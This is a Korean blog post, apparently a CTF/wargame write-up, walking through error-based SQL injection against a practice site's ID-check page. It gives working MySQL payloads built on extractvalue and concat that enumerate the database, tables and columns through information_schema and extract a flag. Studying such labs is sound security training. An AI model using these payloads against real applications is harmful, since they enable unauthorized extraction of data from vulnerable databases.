ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection - Error Based SQLi Basic
    wargame/segfault 2024. 6. 17. 10:34

     

    이번 wargame의 목표는 Error Based SQL Injection의 실습이다. 그래서 전체적인 웹페이지 분석은 생략한다. 다만 post로 query를 보내고 있다.

     

     

     

     

     

    id 중복 검사를 하는 페이지다. select문을 쓸 것이고 like 연산자를 쓰지 않을 것이라고 추측할 수 있다. 친절하게 실행되는 질의문도 보여준다.

     

    만약 아무 쿼리나 넣으면 존재하지 않는 아이디라고 나온다.


     

     

    SQL Injection 가능성 확인

    normaltic'      을 삽입하면 에러 메시지가 출력된다.

     

     

    normaltic' and '1'='1을 넣어도 존재하는 아이디라고 정상적으로 나오는 것을 보아 SQL Injection이 가능하다고 판단된다.

     


    SQL Injection을 이용한 flag 찾기

    1. 에러 출력 함수 선택

    mysql에서 사용가능한 extractvalue 함수를 사용하겠다.

     


     

    2.공격 format

     

    ' and extractvalue('1',concat(0x3a,(_________________))) and '1'='1

     

    에 select문을 삽입하면 된다. 이때 여러개가 선택될 때는 limit 연산자를 꼭 써줘야 한다.

     


     

    3. DB 이름 찾기

     

    ' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

    삽입

     

    DB 이름: errSqli

     


     

    4. Table 이름 찾기

    ' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1

    삽입

     

    table: flagTable

    table이 더 있지만 이것만 필요하기 때문에 이것만 알아본다.

     


    5. Column 찾기

     

    ' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1

    삽입

     

    limit 1,1에 flag column 존재

     

    column: idx, flag

     


     

    6. Data 추출

     

     

    ' and extractvalue('1',concat(0x3a,(select flag from flagTable limit 0,1))) and '1'='1

    삽입

     

    flag 획득 완료!

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection - 3  (0) 2024.06.17
    SQL Injection - Blind Practice  (0) 2024.06.17
    SQL Injection - 2  (0) 2024.06.17
    SQL Injection - 1  (0) 2024.06.17
    Authentication Bypass - Secret Login  (0) 2024.06.16
Designed by Tistory.